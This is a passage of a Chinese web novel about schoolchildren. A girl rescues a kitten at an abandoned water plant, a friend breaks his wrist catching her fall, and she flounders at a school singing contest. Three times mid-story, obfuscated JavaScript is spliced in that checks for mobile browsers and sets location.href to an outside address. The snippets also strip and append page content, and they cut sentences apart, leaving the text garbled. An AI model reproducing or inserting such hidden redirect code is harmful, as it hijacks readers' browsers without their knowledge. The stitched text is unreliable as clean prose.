最后老太太千恩万谢地收了一麻袋废品走了，正巧前面老师也吹哨示意归队了，何意收拾好垃圾袋招呼宋西宝走人，但宋西宝却站在原地没动。 “西宝？”何意叫了她一声。 宋西宝愣愣地看着老人家弯成小山的后背，忽然拔腿追了上去。 14. 老水厂 “所以那五十块钱你全给出去啦？”季苒惊道。 宋西宝垂头丧气地点点头。 其实把五十块钱全给了那位捡废品的奶奶后，她还是后悔过，五十块钱呢！顶她两个月的零花了！ 怪就怪她妈给她的是一张整钱，要是零钱就好了，她只给一半表个心意也行啊！ 宋西宝说：“我当时就觉得她好可怜，我也没多想，我就给她了。你们不知道，那个奶奶真的看起来……” 她还没说完，旁边方思彤拽拽她衣袖，提醒她说话注意。 宋西宝扭头一看，是程书逸出来了。 梧桐一小放学要排路队，出校的顺序是倒着来的，每次他们几个都是先出来的在校门口等，人齐了再一起走，等走到大十字路口那儿，宋西宝就跟他们拜拜了。 程书逸走近了发现只有她们三个女孩子在，便问：“周笃文和蒋博光呢？” 宋西宝说：“他俩这几天都被老师留堂了，我们先走吧。” 程书逸“哦”了声。 路上没了两个男性小伙伴，程书逸单独跟她们仨女孩走一起总觉得有些不太自在，聊也聊不到一起去。 于是走着走着，就变成了，她们仨一边，他自己一个人一边，只是四个人尚在同一水平线上移动。 方思彤小声问宋西宝打算怎么办？现在钱没了，礼物的事自然也就打了水漂。 宋西宝想了想，这事虽说是好人好事，但五十块钱确实也不是什么小数，她还真没那个自信敢保证说告诉爸妈后爸妈一定不会生气，尤其是她才刚惹了老妈生气。 宋西宝很快想了个主意，她将这个主意告诉季苒和方思彤，方思彤倒是没啥反应，季苒一贯大惊小怪，听完直接“啊”了一声，一旁隔了两人宽空位的程书逸听见看了过来，问她们：“怎么了？” 宋西宝假笑一声，说：“没什么，没什么。” 季苒闭紧嘴巴，很是抱歉。 程书逸狐疑地收回视线，往她们那边走近了些，结果宋西宝拽着季苒和方思彤直接快走两步避开了他。 程书逸：“……” 宋西宝想的主意是打算捡废铁去卖废品。 这事她以前在老家就干过，每天拿块吸铁石在路上到处找，总能找到些碎铁钉碎铁片什么的，攒一攒，多的话一次能卖个两三块钱。 三人背着程书逸小声商量捡废品的事，季苒非常怀疑这事的可行性，她说：“这路上哪儿有废铁啊？这得捡多少才能凑够五十块钱啊？” 宋西宝跟着她往地上瞧了瞧，是没看见有什么废铁。 宋西宝看方思彤一脸欲言又止，便问：“怎么了彤姐？你想说啥？” 方思彤小声说：“我知道哪儿可能有废铁，但就是不太敢带你去。” 宋西宝一听，忙问：“哪儿啊？” 季苒也凑近了听着，方思彤手捂着嘴小声说：“水厂那边。” 方思彤说的水厂是指南河边那座已经废弃了的老水厂，而关于老水厂，云市的小孩们听说过最多的就是流传其间的各种鬼故事。 比如：有说去南河边钓鱼的人夜里收工回家，经过水厂时突然听到厂区里有女鬼在唱歌的；还有说过路的行人半夜走到水厂附近结果遭遇了鬼打墙几个小时也走不出来的……反正诸如此类等等，一时半会儿说都说不完。 季苒一听“水厂”两个字就开始摇头，手抓着宋西宝胳膊再三相劝她不要去，就连一贯支持她的方思彤这次也表现得比较犹豫。 宋西宝却天生是个胆大，她说：“这些鬼故事就算是真的，不也都发生在夜里么？咱们大白天去鬼能把我怎么着？鬼都是不能见光的你们不知道吗？” 季苒总觉得这事不能这么论，但她又找不出什么理由来阻止宋西宝，于是只好痛下决心道：“那我陪你去！反正你一个人不能去，太危险了！” 方思彤也跟着说：“对！我们陪你去！人多力量大！” 季苒还说：“到时候我把我们家供奉的那个观音像也带上，要真有鬼，观音肯定能镇住它！” 方思彤琢磨了下，说：“那我把我爸的强光手电筒带上！” 宋西宝快感动死了，揽着她的两位小姐妹三人头碰头惺惺相惜。 不远处的程书逸看着这一幕一脑门儿问号，完全搞不懂她们三个在干嘛？作法吗？ 周六上午，宋西宝和季苒、方思彤按照提前约好的在大梧桐树下碰了面。 三人都背了书包，宋西宝用手抖了抖包底，说：“我背了几块吸铁石，待会儿到了地方咱们一人一个。” 方思彤说：“我把强光手电筒带上了，哦对了，我还在我爸书房抽屉里找到一个平安符，我也带上了！” 两人看向季苒，季苒哆哆嗦嗦地拉开书包拉链，给两人看了一眼包里面道：“我背着我外婆把观音像偷出来了……” 季苒说完，看上去快哭了，再三提醒旁边两个胆大的说：“咱们一定得快去快回，我外婆每天都要给观音上香，要是被她发现观音像不见了，我就死定了！” 宋西宝和方思彤憋笑憋得困难，季苒红着脸把书包重新拉上背好，三人鬼鬼祟祟地看了眼四周，确定没别人后便手挽着手一起出了小区大门。 躲在草丛背后藏了许久的程书逸在三人走后才从草丛里出来。 昨天下午他们一起放学回家，宋西宝拉着季苒和方思彤背着他说悄悄话，他想偷听结果被发现了，就听着一句宋西宝说什么“明早老地方见”。 他心中实在好奇，所以才会早早“埋伏”在此。 可惜她们说话声音实在太小，他蹲了半天啥也没听见，就看见她们仨鬼鬼祟祟地在那儿翻书包。 程书逸站在原地皱眉思索了一会儿，有些犹豫，但最终还是没忍住朝着三人离开的方向拔腿追了上去。 程书逸小心地跟在她们后面，本来他还有点担心会不会途中跟丢了她们，结果他发现自己完全是多虑了——这三姐妹背着包，手拉着手，一路轻松愉快地就跟出门春游似的，心大的完全没发现身后有人在跟踪她们。 程书逸原本只是想随意跟一下看看她们打算去哪儿要做什么？结果没想到这一跟就跟了快四十分钟。 看方向，她们似乎是要去南河边。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913749|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 程书逸心里越来越好奇。 快到南河边时，因为两边建筑物的减少，他不得不停下来拉长跟她们之间的距离以防跟得太近被发现。 他趁这个等待的时间蹲下身重新系了一下鞋带，结果就这么眨眼的功夫，等他再抬头，前面三人就不见了。 ？？？ 什么情况？ 原地消失了？ 程书逸心跳一下快了，他前后左右到处都看了，确实没有看到宋西宝她们。 忽然他注意到右前方那儿有一片看上去已经废弃的旧厂区，其中一座高高的水塔塔体上还残留着几个斑驳的印刷大字，写的是：云市水厂。 程书逸一下就明白过来这是哪儿了？ 这不是老水厂嘛！那个从小家里大人讲鬼故事总会提到的地方。 她们进了老水厂？ 她们进老水厂干嘛？ 程书逸在原地纠结了会儿，他有点怕水厂这个地方，但如果他不进去，他就没法确定宋西宝她们是不是进了这个地方。 他在心里安慰自己，现在是大白天，鬼就是再厉害，总不至于大白天跑出来害人吧！ 这个理由似乎十分站得住脚。 程书逸深吸口气，抬脚朝着老水厂走了过去。 另一边，宋西宝她们仨已经进入了水厂内部。 季苒手里抱着观音像，每走一步就感觉身后有鬼在跟着她似的，但当她猛地回头看时，又发现身后什么都没有。 她就这么一惊一乍地走着，快把自己给吓疯了。 旁边方思彤脖子上带着平安符，手里拿着强光手电筒，虽说不至于像季苒表现得那么提心吊胆，但同样是非常谨慎，时不时就停下来观望一下四周。 只有宋西宝，一边害怕一边牢记心中使命，手里拿着吸铁石，眼睛跟探照灯似的，满地寻找废铁。 水厂这地方比她们想象中可差远了！ 宋西宝想象中这里应该是满地破铜烂铁，她们进来后随便薅一坨就够用了，然而实际是，这里除了厂房建筑空荡荡地啥也没有，几人围着厂区西北边的空地来回找了三圈才找着几块生锈的烂铁片。 她们正准备换个地方，忽然听到了什么，季苒浑身一抖，吓得差点把手里的观音像给扔出去。 宋西宝抱着她拍了拍，凝神又细听了听，方思彤也竖起了耳朵听着，小声说：“好像是猫叫。” “嗯。”宋西宝点点头，判断了一下猫叫的声音，手往东北角那边指了指，说，“好像是那边。” 季苒抬起头顺着她手指的方向看，宋西宝安慰她道：“没事季苒，是猫在叫。” 季苒声音发抖，问：“会不会是猫妖啊？” “噗——”宋西宝没忍住笑出了声，方思彤也笑，季苒羞恼地跺脚，说，“你们再笑我不理你们了！” “好好好，不笑了不笑了。”宋西宝止住笑声，说，“我们过去看看怎么样？” 季苒看她俩都看着自己，也不好意思再表现得那么害怕，于是说：“那我们站远点看一眼，别走太近了。” “好。”宋西宝答应了。 15. 饼干 猫叫声时断时续，听起来十分虚弱。 三人循着声音往前走，最终来到了一片新的空地。 走到这里，猫叫声彻底没了。 三人站在空地中央，宋西宝四处张望也没看见小猫在哪里。 忽然，季苒紧张又兴奋地拽了一下她衣袖，手指着斜前方堆得像小山似的杂物堆说：“在那儿在那儿！西宝，它在那个木块下面那儿，看见没？” 宋西宝和方思彤顺着她手指的方向抬头去看，望了半天，终于望见了一双在暗处闪光的猫眼。 宋西宝脚步往前，季苒拉住她，问：“你干嘛去？” 宋西宝说：“我看看它。” 季苒担心地制止道：“你别去碰它了，野猫都很怕人的，万一它以为你要伤害它咬你怎么办？” 一旁的方思彤适时拉开书包拉链道：“我这儿有吃的。” 方思彤翻了半天，竟然翻出了一根鸡肉火腿肠来。 宋西宝接过火腿肠撕开，一边不停地叫着“咪咪、咪咪”，一边脚步慢慢地挪向了那堆高耸的废弃物。 眼前这只躲在暗处的猫大约是饿很久了，面对火腿肠的诱惑并没有坚持太久就主动现身了。 三人看清这只猫长什么样后都有点惊到了。 方思彤脱口道：“好小一只啊！” 这只猫确实是非常小，应该才两三个月大。 它身上毛发有点脏，能看出来是长毛，颜色的话大部分都是黑色，只有腹部、前肢爪子以及两个后肢是白色。 这还是只“小奶牛”！ 宋西宝一见这猫就喜欢上了，她本想凑近点爬上去喂猫，结果没注意脚下踩到东西弄出了动静，小猫受惊后飞快地缩了回去，紧跟着便沿着高处一路往前蹿不见了。 宋西宝急得不行，跟着就往猫消失的地方跑。 季苒和方思彤忙追了上去。 此时，程书逸也进了水厂。 这座水厂面积不小，他进来后完全不知道要往哪边走找人，只好凭直觉到处瞎转。 转着转着，他好像听见点动静，但等他停下来留神想再细听时，那动静就没有了。 他忍不住喊了一声“宋西宝”，但没有人回应他。 程书逸忽然有些害怕起来，过往听大人们讲过的那些鬼故事开始争先恐后地往他脑袋里挤，他又喊了两声，还是没有人答应他。 随着时间一分一秒逝去，程书逸越来越着急，他忽然后悔起来，后悔自己不应该出于好奇心就偷偷跟踪她们，他就应该在最开始的时候就阻止她们，要么大大方方陪她们来也行啊，怎么都好过现在这种情况…… 就在程书逸暗自懊恼地到处瞎转时，忽然间他好像听到了女孩子的声音！ “宋西宝！”程书逸大喊一声，朝着声音传来的模糊方向跑了过去。 他闷头瞎跑，见弯就拐，结果无意中闯入了一片小空地，再抬头时，终于看见了他着急想找的人—— 只是……她怎么在屋顶上？ 程书逸被眼前这场景吓了一跳，他几步跑过去，季苒和方思彤听见脚步声悚然一惊，回头见是他心里一下又奇怪得很。 屋顶上，宋西宝全神贯注一把扑过去抓住了猫，她高兴地把猫连塞带怼地装进书包，正准备起身，结果一声石破天惊的“宋西宝”直接把她吓了个半死。 “啊！！” 因为受惊，宋西宝腿软了一下，重心一偏，直接从屋顶上摔了下来。 程书逸瞳孔急缩，立刻张开双手扑了上去—— 咚地一声。 宋西宝摔在了程书逸身上。 宋西宝吓得全身都僵了，眼睛瞪得老大！ 身下，程书逸痛得龇牙咧嘴地大叫，脸色煞白一片。 一旁的季苒和方思彤也都被吓到了，听见宋西宝惨叫才忙回过神上前把她从程书逸身上拉了起来。 托程书逸的福，宋西宝一点伤都没受，她惨叫纯粹是因为被他给吓到了。 宋西宝把书包一把塞给方思彤，扑到程书逸身上大喊：“程书逸！程书逸你怎么了！你怎么在这儿啊？你怎么……” 宋西宝慌得都不知道该喊什么了……她完全懵了。 怎么回事啊？ 程书逸怎么会突然出现在这儿？ “西宝！”方思彤唤回了她的注意力，一脸严肃道，“程书逸受伤了，我们得赶紧打急救电话！你跑得快，我们在这儿守着，你快去路口那个小卖部打120！” “好好！”宋西宝从地上爬起来，使劲抹了把眼睛，抬脚就往水厂外面跑。 …… 水厂事件的最终结局是程书逸左手桡骨远端骨折了，需要打石膏固定，然后看情况再慢慢做康复训练。 骨科医院的医生说他轻微骨折都算是奇迹了，要不是那个层板房房顶够低，就宋西宝这一砸，起码还得让他再断几根肋骨，受点内伤。 虽说程书逸受伤这事不能全怪在宋西宝身上——他要不喊那一嗓子，说不定屁事没有——但事后宋西宝还是被爸妈来了一场夫妻混合双打。 要不是古晓琴和程方舟两口子不忍心出面求情，宋西宝那两瓣屁股怕是要好好开一阵花了。 大人们事后得知她们仨去水厂的目的都觉得有点哭笑不得，所有事前后因果联系在一起，要说宋西宝每一个点每一件事都做错了他们也不忍心。 可能她自己都没想到结果会是这样，明明她只是想帮帮那位老人家，明明她只是想救下那只流浪猫而已…… 如果时间能倒流，相信程书逸也不会再喊出那石破天惊的一声，这一环扣一环的，只能说，她跟程书逸，运气实在是有点差。 作为此次事件最大的受害者，程书逸得知事情始末之后倒是还挺开心的——搞了半天，原来西宝去水厂是为了赚钱给他买生日礼物，他是真没想到她能把他的事这么放在心上。 他觉得很高兴，高兴到甚至觉得自己骨折也没什么。 听说宋西宝被关在家里，他担心她难过，还特地拜托妈妈去书店买了她喜欢的《阿衰》漫画准备送给她。 这天晚上，古晓琴带着程书逸到宋家登门拜访。 母子俩说明来意后，宋家两口子愧疚极了，一直摆手推拒说不能收。 程书逸乖乖牵着妈妈的手站在旁边听他们大人争来争去，发现听不懂后便把注意力转去了一旁。 这一转，他突然注意到斜对面的小卧室悄悄开了条门缝，一双黑亮亮的大眼睛正透过门缝注视着他们这边。 程书逸朝那个方向笑了笑，对面谭淑媛看到了，回头朝卧室看了眼，屋里的人立刻关上了门。 程书逸忍不住往前走了一步，古晓琴被他一带，也跟着看向了卧室那边。 谭淑媛叹了口气。 宋卫国笑着按了把程书逸脑袋，问他：“你想去找西宝玩吗？” 程书逸点点头，眼神十分渴求地嗯了一声。 宋卫国看眼老婆。 古晓琴说：“好了淑媛，一次意外而已，你不能不让他俩交朋友了呀！” 古晓琴台阶都给她递到眼跟前了，谭淑媛自然也不好再推拒，便顺势松口点了点头对程书逸说：“去吧。”又补上一句，“把门开着啊！” 程书逸欢快地答应了一声。 外面，大人们坐下闲聊了起来。 卧室里，宋西宝坐在床边，侧头用手指轻戳了戳程书逸左手吊着的石膏，问：“痛吗？” “现在不痛。”程书逸说。 宋西宝哦了声，双手握着床沿，双腿来回荡着，低头不说话了。 程书逸发现她不如之前那般活泼了，便问：“你怎么了？” 宋西宝看他一眼，有些蔫蔫地说：“我想我爷爷奶奶了。” 程书逸离她近了些，用打着石膏的手轻轻碰了碰她，宋西宝抬头看他，程书逸对她展开一个微笑，说：“西宝，我没有怪你，你别伤心了。” 宋西宝还是开心不起来，她不知道为什么，听了程书逸这话，忽然委屈漫上心头，眼眶竟有些热了。 她悄悄哽咽一声，对他说：“程书逸，我真的不是故意的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919122|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程书逸说：“我知道呀！这不是你的错！” 宋西宝就因为这句话有点崩溃了。 这大半个月来，爸妈批评她，冷落她，他们都说是她的错，就是她错了！是她太想一出是一出，什么都敢干，所以才惹出这么多祸事！ 只有一个人觉得她没做错。 只有程书逸觉得她没做错。 卧室门开着，宋西宝不敢哭出声来，于是只好低着头任由眼泪大颗大颗掉落。 一旁的程书逸却慌了神，他左手动不了，于是只好扭着身笨拙地伸出右手去接她的眼泪。 他知道西宝不想被客厅里的大人们察觉到她在哭，于是他什么也没说，只是干着急地看着她。 过了好久，她终于不落泪了，但程书逸小小的手心里却已经汇聚起了一汪眼泪湖。 宋西宝带着哭腔问他：“你干嘛？” 程书逸说：“我帮你接着眼泪啊。” 宋西宝更莫名其妙了，她说：“你接我眼泪干嘛？” 程书逸傻笑一声，说：“不知道。” 两人对视一眼，忽地都笑了。 宋西宝压低声骂他：“傻蛋！” 程书逸哼一声，不服输道：“你才傻！” 又过了半个月，程书逸的手拆石膏了。 宋西宝听说后，特地登门拜访说要补送他一件生日礼物。 程书逸现在听见“礼物”两个字就紧张，一个劲儿地说自己什么礼物都不要，结果宋西宝说要送他的礼物是一只猫，就是那只在水厂被她们救下来的猫。 说起这只猫，也是很神奇。 当时事发突然，宋西宝把猫交给方思彤后就忘了这事，方思彤本来想把猫带回家先养着，但爸妈却以她年龄太小为由不许她养猫。 无奈，方思彤只好将它放到了楼下，挑了个能遮风挡雨的地方给它放了个纸箱当窝，顺便给它放了一点吃的。 周一上学，方思彤来问宋西宝小猫怎么办？宋西宝心里倒是有主意，但她觉得时机未到，便先没有声张。 这阵子以来，小猫一直是靠他们几个人轮流喂养。 说来也怪，这小猫大约是知道他们是好人，也认了梧桐苑这个地方，竟然没有再跑掉！ 它每天白天是不见猫影的，只有到了傍晚才会出现在院子里，几人一般就逮着这个时候去喂它，顺便再陪它玩一会儿。 在程书逸受伤的这段日子里，宋西宝更加夹着尾巴做人了，估计是看她表现不错，再加上程书逸一直为她求情，爸妈总算对她解禁了一点点，同意她周末放假出门玩了。 宋西宝重获自由后便惦记着小猫的归宿，她早就想好了，她想把猫送给程书逸养。 宋西宝想让程书逸收养这只猫倒也不是毫无根据，在跟程书逸认识的这大半年里，她已经见过好多次程书逸喂流浪猫了。 宋西宝知道他喜欢猫，也知道他一定会对小猫好，所以才想把这只猫送给他养。 不过她这次长了记性，没有再贸然行事，而是在送猫之前先跟爸妈、以及晓琴阿姨都商量了，得到了大人们一致首肯后，才行动的。 爸妈还专门找了家兽医站给小猫体检、驱虫，等小猫收拾得干干净净了，宋西宝这才带着它登门拜访。 程书逸听到她说要送一只小猫给自己后眼睛都睁大了！ 宋西宝取下背包，拉开拉链，招呼他凑近来看。 程书逸凑头过去，冷不丁跟包里那个小家伙对上眼时还吓了一跳。 宋西宝把猫拎了出来。 小猫虽然在外面流浪了这么久，但还是表现得很亲人，被宋西宝捏着脖子提起来也不乱动，直条条的，一双圆溜溜的大眼睛到处乱瞧，满眼都是好奇。 程书逸用那只没受伤的手把小猫抱到怀里慢慢抚摸着它，宋西宝说：“你给它取个名字吧！” 程书逸看着小猫身上的颜色，想了一会儿，然后说：“我想叫它饼干。” 宋西宝戳戳小猫肚子，逗它：“你有名字啦！饼干饼干！” “喵呜！” 16. 毁灭吧学校 饼干被程书逸收养后，大家周末放假了便总是相约结伴去程书逸家玩。 原本程方舟调任后家里忽然少了一个人古晓琴还觉得有点冷清，现在好了，孩子们经常过来玩，这家里一下比之前还要热闹。 饼干自从到了程家，吃好喝好，个头一下长大了许多。 程书逸尝试训练它，它也很通人性，很快就学会了握手以及躺倒撒娇求摸摸。 大家都很喜欢饼干，宋西宝还邀请它加入了他们的帮派，并亲封它为“猫护法”。 程书逸才知道他们还有帮派，问，是啥帮派啊？ 蒋博光豪情万丈道：“梧桐帮！” 程书逸：“……” 程书逸很无语，他觉得这么傻的名字十有八九就是蒋博光嚷嚷取的，真是难听死了。 不过这话他没有说出来，他现在已经懂了，与朋友交，不一定什么话都要说出来，如果不想说假话，真话也不能说，那么最好的办法就是沉默，什么话都不要说。 一旁的古晓琴看着程书逸同他们玩闹，心里其实非常感慨。小时候，她是指比现在更小一点的时候，那时候的程书逸原本也是个活泼孩子。 转变就发生在程书逸五岁那年。 那年她身体不好，前前后后做了两场手术，因为没精力照顾孩子，程书逸的奶奶便十分强势地把孩子接回了老家照顾。 古晓琴至今不知道老太太对程书逸做了什么，她只知道一年后她去接儿子时，儿子忽然性情大变，变得不爱说话且十分内向。 婆媳俩为此大吵一架，程方舟听说后赶回老家接老婆孩子，临走时也跟父亲母亲大吵一架，此后几年他们一家人再没回去，就这么一直到老太太去世。 四季更迭，梧桐苑内大树叶子绿了又黄、落了又生，打树下经过的孩子们在这一年里有的长高了，有的长宽了，不变的是仍是那群人。 大树每天注视着这群孩子上学放学，玩乐打跳，偶尔它兴致起来，也会参与其中，昭示自身的存在。 比如平地起风吹乱女孩的发，比如摇晃树身，抖落下几片叶子掉在孩子们的头顶及肩上。 每当这时，人群中那个最吵闹的女孩就会抬头看它一眼，脸上狡黠的笑容好像在同它说，大树大树，你被我发现了哦！ …… 初夏，天气已然燥热起来，梧桐一小四年级三班的教室内，吊扇晃悠晃悠转着，风力约等于无。 讲台上，班主任张秋华正唠唠叨叨地对学生们说着下个月“校园文艺之声”比赛的事。 “……这次的比赛是一个很好的展示自我的机会，咱们班有文艺类特长的同学一定要积极报名参加比赛，这不仅是为你们个人争取荣誉，更是为班集体争取荣誉，老师希望大家能勇敢报名……” 张老师越说越小声，飘来飘去的目光忽然死死地盯住了讲台下正在走神的宋西宝。 宋西宝还不知道自己被张老师锁定了，她的注意力全在左边那只耳朵上—— 她今天偷偷把爸妈给她买来学英语用的复读机带上了，这会儿正忙着听蔡依林的《看我72变》呢！ 随着张老师的眼神变得越来越危险，终于，一声爆发式的“宋西宝”平地炸开，其余威甚至波及到了坐在最后一排的同学。 宋西宝整个人悚然一惊回了神，拔了耳机线蹭地站起身，顺便手速飞快地把复读机连同耳机线乱七八糟一通绕塞进了抽屉里。 但是已经来不及了，张老师蹭蹭几步过来，一把就把她桌兜里的东西掏了出来。 “上我的课还敢听这个！没收！” 下课后，宋西宝一脸生无可恋地跟着张老师去了办公室，等她挨完批回到教室，整个人都颓了。 何意同情地看着她，问复读机要回来了吗？ 宋西宝摇摇头，说张老师说她要是想要回复读机，要么请她父母来学校拿，要么她期末考进班级前十。 “烦死了。”宋西宝嘟囔一句。 何意安慰了她几句，然后跟周围几个同学说起了刚刚张老师提到的校园文艺之声比赛。 宋西宝趴桌上听着，本来没啥兴趣的，结果听到何意说“冠军会被聘任为校广播站小站长”时，一下来了精神。 “什么小站长？”宋西宝问。 何意手往前面一指，说：“喏，刚班长贴的通知，那上面说的。” 宋西宝一跃而起冲到黑板旁边凑近了看，果然看见通知上面写着—— “……冠军获得者将被聘任为校广播站小站长，每周三/周四下午第四节活动课可为全校师生播报通知及点播歌曲。” 点！播！歌！曲！ 那她要把蔡依林周杰伦林俊杰的歌全部放一遍哈哈哈哈哈！！！ 下午放学，宋西宝向梧桐苑的伙伴们宣布了她要参加比赛的事。 季苒除了羡慕她的勇气就是羡慕她的自信，蒋博光听完哈哈大笑，问她是打算上台表演爬树啊？还是表演胸口碎大石啊？ “想死了你是吧！”宋西宝从后面一把锁住蒋博光脖子往下压，蒋博光连声求饶，一旁的程书逸忽然说，“我也要参加那个比赛。” 几人齐刷刷转过头看他，宋西宝都顾不上收拾蒋博光了。 程书逸看她一眼，说：“不是我自愿参加的，我们班主任直接给我报名了，让我上台去表演弹钢琴。” 程书逸会弹钢琴这事他们早就知道，不过也只是听说过而已，还没谁真正见他弹过，就连跟他关系最近的宋西宝都没见过，只知道他每周天下午都要去钢琴老师家里学钢琴。 季苒“哇”了一声，一副与有荣焉的样子说：“那我们可以看见你弹钢琴了耶！” 宋西宝想象了一下程书逸弹钢琴的画面，心里忽然有了点危机感。 她有点不高兴地问：“你也想当小站长吗？” 程书逸想了想，说：“还好吧。” 宋西宝最烦他说话黏黏糊糊这样，到底想还是不想从来也不说清楚，她书包带子一拉气冲冲地往前一个人走了，旁边季苒和方思彤忙跟了上去。 程书逸不知道突然间她这是怎么了？ 旁边蒋博光一副过来人语气安慰他道：“没事，女生都这样。” “哪样？”程书逸没明白。 “生小气呗！”蒋博光说，“不信你问老周！” 周笃文推推眼镜，默认了蒋博光的话。 周笃文又说：“西宝好像挺想当那个小站长的。” 程书逸似懂非懂，周笃文问他：“诶，要是她想当冠军，你会故意输给她吗？” 程书逸说：“你们怎么知道我一定会赢她？” 周笃文和蒋博光互看一眼，都笑了，蒋博光说：“这不是明摆着的事吗？你不是干什么都挺厉害的？” 程书逸不说话了。 宋西宝回家后同样把自己打算参加比赛的事告诉了爸妈，爸妈显得很惊喜，问她准备表演什么呢？ 宋西宝说：“唱歌。” 夫妻俩一听，这咱家擅长啊！ 谭淑媛倒是没想到她能对唱歌感兴趣，毕竟家里从小并没有刻意引导她发展唱歌方面的才能。 爸妈让宋西宝现场先给他们表演一首，宋西宝唱了几句《看我72变》，谭淑媛一听就摆手说不行：“这种比赛，肯定要唱民歌或者红歌才能拿奖，你这唱的……你一个学生唱这歌，那评委老师肯定不给你高分的。” 宋西宝愣愣看着她妈。 一旁的宋卫国严肃说：“宝宝，这你得听你妈的，她是专业的。你不是想拿冠军当那个什么小站长吗？听你妈妈的准没错！” “哦。”宋西宝似懂非懂的点了点头。 于是在爸妈的指导下，宋西宝把自己的参赛曲目由《看我72变》改成了《映山红》。 谭淑媛特地挪出了时间来教她唱这歌，从发音到咬字再到气息，就这么折腾了半个月，宋西宝对比赛这事由兴致勃勃变成了索然无味。 谭淑媛看她态度消极，还严肃教育她做事不能半途而废，既然有兴趣决定去做，那就要好好做，尽最大的努力！ 宋西宝表面上乖乖听训，实则心里一点也听不进去，慢慢地她甚至都有点抗拒比赛了。 正式比赛的前一天，学校安排所有参赛的学生进行了一次彩排。 因为时间问题，大部分人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927051|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是在老师的指挥下简单走了一下位，试了一下音就算了，唯一完整表演的只有四个节目，其中两个都是四年级的节目：一个是程书逸的钢琴独奏，一个是刘婧怡的孔雀舞。 这俩还都是一班的。 第二天上午九点，比赛正式开始。 露天舞台上，校领导正在讲话，后台处，所有参加比赛的孩子们排成两列，负责比赛的老师们一边训话一边同步检查着他们的“红脸蛋”画匀没有。 老师们神情威严，一点一点掰着手指嘱咐他们，让他们上台后要记得先给台下的评委和观众鞠躬示意，表演时要记得微笑，以及唱歌的小朋友要记得走到舞台中间的红点处才开始…… 老师说的越多，宋西宝心里就越紧张。 来前妈妈跟她说的话她这会儿一句也记不起来了，她多么希望现在能来一个外星人把学校给炸了啊！ 或者不炸学校，把她给炸了也行啊！ 相比她的紧张，程书逸就显得淡定多了。 他像是对这种场合很习惯了，没什么太大的表情变化。 古晓琴把他打扮得也很好看，一身精致得体的小礼服让他甫一露面，便成功吸引了所有人的目光。 程书逸本想在比赛开始前去找宋西宝给她加油，结果负责比赛的老师对他尤其的关注，根本不让他脱离自己的视线范围。 表演的顺序是抽签决定的，宋西宝抽的是倒数第五个表演，而程书逸是正数第四个。 程书逸上台表演节目的时候，宋西宝虽然没能去前场观看，但仅凭那山呼海啸的掌声她就知道他肯定是大获成功。 自己的失败固然令人难过，但朋友的成功更令人揪心不已。 宋西宝有点想破罐子破摔了，巴不得下一个就让她登台，早死早超生！ 话是这么说，但真轮到她上台后，她还是紧张出了新高度。 台下那些密密麻麻的脑袋不知道为什么全看着她！ 宋西宝默念妈妈教给她的话，一个劲儿地在心里对自己说：他们全是大白菜他们全是大白菜他们全是大白菜…… 但是根本没用，她还是紧张得不行。 舞台侧边，老师提醒她往后退走到中心红点位置去，宋西宝一个着急，直接脚绊脚摔了个屁股蹲。 台下哄然大笑，宋西宝抱着话筒原地怔愣，心态一下就崩了。 后续她还经历了跑调、忘词、声音发抖等问题，丢人简直丢到了姥姥家！ 台下大家的表情她都看得很清楚，全是看她笑话的，而爸妈……离太远了宋西宝看不清爸妈的表情，但她知道他们肯定也觉得她丢人了。 最后好不容易表演结束，宋西宝飞奔跑下舞台，因为冲得太猛不小心撞到了下一位要登台的同学，旁边的老师还吼了她一声。 宋西宝心中顿时涌起泼天的委屈，没忍住直接哭了。 她不想哭的，但眼泪总是不听话地拼命涌出来。 老师说，表演完的学生不能逗留后台，得回自己班级上。 她不想回去，不想经过人群被大家看到她丢脸的样子，于是她偷偷跑到旁边教学楼的厕所里躲了起来。 外面的表演还在继续，宋西宝躲厕所里准备大哭特哭一场。 但是说来也怪，就在她准备大哭特哭时，眼泪忽然莫名其妙止住了，她试着哭了一声，结果发现自己只是在干嚎。 在她准备面对伤心时，伤心却奇迹般的消失了。 宋西宝站在原地发了会儿呆，最后叹口气关上水龙头出去了。 她顶着张大花脸从正在观赛的师生们旁边走过回到了自己的班级。 那些震惊的、好奇的、嘲笑的目光统统被她挡在了心灵之外，她告诉自己，不要去在意。 爸妈和张老师都涌了上来，也许是看到她红通通的双眼知道她哭过了，张老师不仅没有批评她，反而还一个劲儿地安慰她，并承诺要把没收的复读机还给她。 旁边正忙着心疼女儿的谭淑媛脸上缓缓浮现一个问号，她暂停心疼，问张老师：“什么复读机？” 宋西宝：“……” 天无绝人之路，绝起来是真没路啊…… 17. 决裂 